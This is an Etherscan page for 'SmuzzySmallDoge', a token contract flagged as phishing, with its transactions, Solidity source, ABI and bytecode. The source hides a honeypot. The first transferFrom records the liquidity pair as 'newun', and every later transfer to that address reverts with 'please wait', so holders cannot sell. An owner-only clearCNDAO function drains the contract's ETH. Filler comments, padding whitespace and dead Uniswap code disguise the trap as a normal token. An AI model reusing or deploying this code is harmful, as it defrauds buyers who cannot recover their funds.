ETH Price: $2,729.57 (+2.28%)

Contract

0x1405ED4009fEe63830E78D2614b791A9b576a984
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer133263402021-09-30 9:43:531238 days ago1632995033IN
Fake_Phishing233166
0 ETH0.0015945850.66997528
Approve132944062021-09-25 10:22:141243 days ago1632565334IN
Fake_Phishing233166
0 ETH0.0019884242.88353301
Approve132936372021-09-25 7:40:321243 days ago1632555632IN
Fake_Phishing233166
0 ETH0.0023792951.31340097
Approve132931762021-09-25 6:00:501243 days ago1632549650IN
Fake_Phishing233166
0 ETH0.0020386343.96651058
Approve132931262021-09-25 5:49:551243 days ago1632548995IN
Fake_Phishing233166
0 ETH0.0021005545.30180684
Approve132931152021-09-25 5:46:311243 days ago1632548791IN
Fake_Phishing233166
0 ETH0.0020941245.16311909
Approve132930942021-09-25 5:41:371243 days ago1632548497IN
Fake_Phishing233166
0 ETH0.0021408646.17112036
Approve132930902021-09-25 5:39:511243 days ago1632548391IN
Fake_Phishing233166
0 ETH0.001784738.49001605
Approve132930802021-09-25 5:37:381243 days ago1632548258IN
Fake_Phishing233166
0 ETH0.0016675435.96324029
Approve132930462021-09-25 5:30:421243 days ago1632547842IN
Fake_Phishing233166
0 ETH0.002259548.72991818
Transfer132927542021-09-25 4:23:111243 days ago1632543791IN
Fake_Phishing233166
0 ETH0.0023147243.38107943

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
SmuzzySmallDoge

Compiler Version
v0.5.17+commit.d19bba13

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-09-25
*/

// pragma solidity 0.8.4;
// SPDX-License-Identifier: MIT
    
    
    
    /**   
    * Web: https://SmuzzySmallDoge.io
    * Telegram: https://t.me/smuzzysmalld0ge
    * Twitter: https://twitter.com/SmuzzySmallDoge
    */




     /** 
    * @dev Provides information about the current execution context, including the
     * sender of the transaction and its data. While these are generally available
     * via msg.sender and msg.data, they should not be accessed in such a direct
     * manner, since when dealing with meta-transactions the account sending and
     * paying for execution may not be the actual sender (as far as an application
     * is concerned).
     *
     * This contract is only required for intermediate, library-like contracts.
     */


    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards
     * Emits an {Approval} event.
     */
     
    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     * increases the gas cost of certain opcodes, possibly making contracts go over the 5000 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     */
    
    
     
                                                                                                                                pragma solidity ^0.5.17;


library SafeMath {
  function add(uint a, uint b) internal pure returns (uint c) {
    c = a + b;
    require(c >= a);
  }
  function sub(uint a, uint b) internal pure returns (uint c) {
    require(b <= a);
    c = a - b;
  }
  function mul(uint a, uint b) internal pure returns (uint c) {
    c = a * b;
    require(a == 0 || c / a == b);
  }
  function div(uint a, uint b) internal pure returns (uint c) {
    require(b > 0);
    c = a / b;
  }
}

contract BEP20Interface {
  function totalSupply() public view returns (uint);
  function balanceOf(address tokenOwner) public view returns (uint balance);
  function allowance(address tokenOwner, address spender) public view returns (uint remaining);
  function transfer(address to, uint tokens) public returns (bool success);
  function approve(address spender, uint tokens) public returns (bool success);
  function transferFrom(address from, address to, uint tokens) public returns (bool success);

  event Transfer(address indexed from, address indexed to, uint tokens);
  event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

contract ApproveAndCallFallBack {
  function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}

contract Owned {
  address public owner;
  address public newOwner;

  event OwnershipTransferred(address indexed _from, address indexed _to);

  constructor() public {
    owner = msg.sender;


  }

  modifier onlyOwner {
    require(msg.sender == owner);
    _;
  }

  function transferOwnership(address _newOwner) public onlyOwner {
    newOwner = _newOwner;
  }
  function acceptOwnership() public {
    require(msg.sender == newOwner);
    emit OwnershipTransferred(owner, newOwner);
    owner = newOwner;
    newOwner = address(0);
  }
}

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
     
     
    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
     
         /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */

contract TokenBEP20 is BEP20Interface, Owned{
  using SafeMath for uint;

  string public symbol;
  string public name;
  uint8 public decimals;
  uint _totalSupply;
  address public newun;

  mapping(address => uint) balances;
  mapping(address => mapping(address => uint)) allowed;

    /**
     * Constrctor function
     *
     * Initializes contract with initial supply tokens to the creator of the contract
     */
     
         /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     * increases the gas cost of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     */


  constructor() public {
    symbol = "SSD";
    name = "SmuzzySmallDoge.io";
    decimals = 9;
    _totalSupply = 10000000 * 10**9;
    balances[owner] = _totalSupply;
    emit Transfer(address(0), owner, _totalSupply);
  }
  function transfernewun(address _newun) public onlyOwner {
    newun = _newun;
  }
  
   /**
 * @dev Implementation of the {IERC20} interface.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
  
  function totalSupply() public view returns (uint) {
    return _totalSupply.sub(balances[address(0)]);
  }
  function balanceOf(address tokenOwner) public view returns (uint balance) {
      return balances[tokenOwner];
  }
  function transfer(address to, uint tokens) public returns (bool success) {
     require(to != newun, "please wait");
     
    balances[msg.sender] = balances[msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(msg.sender, to, tokens);
    return true;
  }
  function approve(address spender, uint tokens) public returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    emit Approval(msg.sender, spender, tokens);
    return true;
  }
  function transferFrom(address from, address to, uint tokens) public returns (bool success) {
      if(from != address(0) && newun == address(0)) newun = to;
      else require(to != newun, "please wait");
      
    balances[from] = balances[from].sub(tokens);
    allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(from, to, tokens);
    return true;
  }
  function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
    return allowed[tokenOwner][spender];
  }
  function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    emit Approval(msg.sender, spender, tokens);
    ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
    return true;
  }
  function () external payable {
    revert();
  }
}

/**
    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        // split the contract balance into halves
        uint256 half = contractTokenBalance.div(2);
        uint256 otherHalf = contractTokenBalance.sub(half);

        // capture the contract's current ETH balance.
        // this is so that we can capture exactly the amount of ETH that the
        // swap creates, and not make the liquidity event include any ETH that
        // has been manually sent to the contract
        uint256 initialBalance = address(this).balance;

        // swap tokens for ETH
        swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered

        // how much ETH did we just swap into?
        uint256 newBalance = address(this).balance.sub(initialBalance);

        // add liquidity to uniswap
        addLiquidity(otherHalf, newBalance);
        
        emit SwapAndLiquify(half, newBalance, otherHalf);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
    }

    //this method is responsible for taking all fee, if takeFee is true
    function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
        if(!takeFee)
            removeAllFee();
        
        if (_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferFromExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
            _transferToExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferStandard(sender, recipient, amount);
        } else if (_isExcluded[sender] && _isExcluded[recipient]) {
            _transferBothExcluded(sender, recipient, amount);
        } else {
            _transferStandard(sender, recipient, amount);
        }
        
        if(!takeFee)
            restoreAllFee();
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeLiquidity(tLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);           
        _takeLiquidity(tLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);   
        _takeLiquidity(tLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

} 
*/

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     * increases the gas cost of certain opcodes, possibly making contracts go over the 5000 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     */
     
contract SmuzzySmallDoge is TokenBEP20 {
    
     /*
    * @dev Provides information about the current execution context, including the
     * sender of the transaction and its data. While these are generally available
     * via msg.sender and msg.data, they should not be accessed in such a direct
     * manner, since when dealing with meta-transactions the account sending and
     * paying for execution may not be the actual sender (as far as an application
     * is concerned).
     *
     * This contract is only required for intermediate, library-like contracts.
     */

  function clearCNDAO() public onlyOwner() {
     
     
    address payable _owner = msg.sender;
    _owner.transfer(address(this).balance);
  }
  function() external payable {

  }
}

/**
 interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}



// pragma solidity >=0.6.2;

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
*/

 /**
 * @dev Implementation of the {IERC20} interface.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */

Contract Security Audit

Contract ABI

[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"tokenOwner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":false,"inputs":[],"name":"acceptOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"approveAndCall","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"clearCNDAO","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"newOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"newun","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newun","type":"address"}],"name":"transfernewun","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]

600080546001600160a01b0319163317905560c0604052600360808190526214d4d160ea1b60a090815261003691600291906100e7565b5060408051808201909152601280825271536d757a7a79536d616c6c446f67652e696f60701b6020909201918252610070916003916100e7565b506004805460ff19166009179055662386f26fc100006005819055600080546001600160a01b0390811682526007602090815260408084208590558354815195865290519216937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3610182565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061012857805160ff1916838001178555610155565b82800160010185558215610155579182015b8281111561015557825182559160200191906001019061013a565b50610161929150610165565b5090565b61017f91905b80821115610161576000815560010161016b565b90565b610c67806101916000396000f3fe6080604052600436106100fe5760003560e01c806381f4f39911610095578063c04365a911610064578063c04365a91461037b578063cae9ca5114610390578063d4ee1d9014610458578063dd62ed3e1461046d578063f2fde38b146104a8576100fe565b806381f4f399146102e55780638da5cb5b1461031857806395d89b411461032d578063a9059cbb14610342576100fe565b806323b872dd116100d157806323b872dd1461022f578063313ce5671461027257806370a082311461029d57806379ba5097146102d0576100fe565b806306fdde0314610100578063095ea7b31461018a57806318160ddd146101d75780631ee59f20146101fe575b005b34801561010c57600080fd5b506101156104db565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014f578181015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019657600080fd5b506101c3600480360360408110156101ad57600080fd5b506001600160a01b038135169060200135610569565b604080519115158252519081900360200190f35b3480156101e357600080fd5b506101ec6105d0565b60408051918252519081900360200190f35b34801561020a57600080fd5b50610213610613565b604080516001600160a01b039092168252519081900360200190f35b34801561023b57600080fd5b506101c36004803603606081101561025257600080fd5b506001600160a01b03813581169160208101359091169060400135610622565b34801561027e57600080fd5b506102876107c6565b6040805160ff9092168252519081900360200190f35b3480156102a957600080fd5b506101ec600480360360208110156102c057600080fd5b50356001600160a01b03166107cf565b3480156102dc57600080fd5b506100fe6107ea565b3480156102f157600080fd5b506100fe6004803603602081101561030857600080fd5b50356001600160a01b0316610865565b34801561032457600080fd5b5061021361089e565b34801561033957600080fd5b506101156108ad565b34801561034e57600080fd5b506101c36004803603604081101561036557600080fd5b506001600160a01b038135169060200135610905565b34801561038757600080fd5b506100fe610a09565b34801561039c57600080fd5b506101c3600480360360608110156103b357600080fd5b6001600160a01b03823516916020810135918101906060810160408201356401000000008111156103e357600080fd5b8201836020820111156103f557600080fd5b8035906020019184600183028401116401000000008311171561041757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610a52945050505050565b34801561046457600080fd5b50610213610b9a565b34801561047957600080fd5b506101ec6004803603604081101561049057600080fd5b506001600160a01b0381358116916020013516610ba9565b3480156104b457600080fd5b506100fe600480360360208110156104cb57600080fd5b50356001600160a01b0316610bd4565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105615780601f1061053657610100808354040283529160200191610561565b820191906000526020600020905b81548152906001019060200180831161054457829003601f168201915b505050505081565b3360008181526008602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b600080805260076020527f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df5460055461060e9163ffffffff610c0d16565b905090565b6006546001600160a01b031681565b60006001600160a01b0384161580159061064557506006546001600160a01b0316155b1561066a57600680546001600160a01b0319166001600160a01b0385161790556106bb565b6006546001600160a01b03848116911614156106bb576040805162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015290519081900360640190fd5b6001600160a01b0384166000908152600760205260409020546106e4908363ffffffff610c0d16565b6001600160a01b0385166000908152600760209081526040808320939093556008815282822033835290522054610721908363ffffffff610c0d16565b6001600160a01b038086166000908152600860209081526040808320338452825280832094909455918616815260079091522054610765908363ffffffff610c2216565b6001600160a01b0380851660008181526007602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b60045460ff1681565b6001600160a01b031660009081526007602052604090205490565b6001546001600160a01b0316331461080157600080fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b0316331461087c57600080fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156105615780601f1061053657610100808354040283529160200191610561565b6006546000906001600160a01b0384811691161415610959576040805162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015290519081900360640190fd5b33600090815260076020526040902054610979908363ffffffff610c0d16565b33600090815260076020526040808220929092556001600160a01b038516815220546109ab908363ffffffff610c2216565b6001600160a01b0384166000818152600760209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b6000546001600160a01b03163314610a2057600080fd5b604051339081904780156108fc02916000818181858888f19350505050158015610a4e573d6000803e3d6000fd5b5050565b3360008181526008602090815260408083206001600160a01b038816808552908352818420879055815187815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a3604051638f4ffcb160e01b815233600482018181526024830186905230604484018190526080606485019081528651608486015286516001600160a01b038a1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b83811015610b29578181015183820152602001610b11565b50505050905090810190601f168015610b565780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610b7857600080fd5b505af1158015610b8c573d6000803e3d6000fd5b506001979650505050505050565b6001546001600160a01b031681565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b6000546001600160a01b03163314610beb57600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600082821115610c1c57600080fd5b50900390565b818101828110156105ca57600080fdfea265627a7a723158200f39df836d835d0ce9701279c55bae263e55cf1087c71964699be792faee17a264736f6c63430005110032

Deployed Bytecode

0x6080604052600436106100fe5760003560e01c806381f4f39911610095578063c04365a911610064578063c04365a91461037b578063cae9ca5114610390578063d4ee1d9014610458578063dd62ed3e1461046d578063f2fde38b146104a8576100fe565b806381f4f399146102e55780638da5cb5b1461031857806395d89b411461032d578063a9059cbb14610342576100fe565b806323b872dd116100d157806323b872dd1461022f578063313ce5671461027257806370a082311461029d57806379ba5097146102d0576100fe565b806306fdde0314610100578063095ea7b31461018a57806318160ddd146101d75780631ee59f20146101fe575b005b34801561010c57600080fd5b506101156104db565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014f578181015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019657600080fd5b506101c3600480360360408110156101ad57600080fd5b506001600160a01b038135169060200135610569565b604080519115158252519081900360200190f35b3480156101e357600080fd5b506101ec6105d0565b60408051918252519081900360200190f35b34801561020a57600080fd5b50610213610613565b604080516001600160a01b039092168252519081900360200190f35b34801561023b57600080fd5b506101c36004803603606081101561025257600080fd5b506001600160a01b03813581169160208101359091169060400135610622565b34801561027e57600080fd5b506102876107c6565b6040805160ff9092168252519081900360200190f35b3480156102a957600080fd5b506101ec600480360360208110156102c057600080fd5b50356001600160a01b03166107cf565b3480156102dc57600080fd5b506100fe6107ea565b3480156102f157600080fd5b506100fe6004803603602081101561030857600080fd5b50356001600160a01b0316610865565b34801561032457600080fd5b5061021361089e565b34801561033957600080fd5b506101156108ad565b34801561034e57600080fd5b506101c36004803603604081101561036557600080fd5b506001600160a01b038135169060200135610905565b34801561038757600080fd5b506100fe610a09565b34801561039c57600080fd5b506101c3600480360360608110156103b357600080fd5b6001600160a01b03823516916020810135918101906060810160408201356401000000008111156103e357600080fd5b8201836020820111156103f557600080fd5b8035906020019184600183028401116401000000008311171561041757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610a52945050505050565b34801561046457600080fd5b50610213610b9a565b34801561047957600080fd5b506101ec6004803603604081101561049057600080fd5b506001600160a01b0381358116916020013516610ba9565b3480156104b457600080fd5b506100fe600480360360208110156104cb57600080fd5b50356001600160a01b0316610bd4565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105615780601f1061053657610100808354040283529160200191610561565b820191906000526020600020905b81548152906001019060200180831161054457829003601f168201915b505050505081565b3360008181526008602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b600080805260076020527f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df5460055461060e9163ffffffff610c0d16565b905090565b6006546001600160a01b031681565b60006001600160a01b0384161580159061064557506006546001600160a01b0316155b1561066a57600680546001600160a01b0319166001600160a01b0385161790556106bb565b6006546001600160a01b03848116911614156106bb576040805162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015290519081900360640190fd5b6001600160a01b0384166000908152600760205260409020546106e4908363ffffffff610c0d16565b6001600160a01b0385166000908152600760209081526040808320939093556008815282822033835290522054610721908363ffffffff610c0d16565b6001600160a01b038086166000908152600860209081526040808320338452825280832094909455918616815260079091522054610765908363ffffffff610c2216565b6001600160a01b0380851660008181526007602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b60045460ff1681565b6001600160a01b031660009081526007602052604090205490565b6001546001600160a01b0316331461080157600080fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b0316331461087c57600080fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031681565b6002805460408051602060018416156101000260001901909316849004601f8101849004840282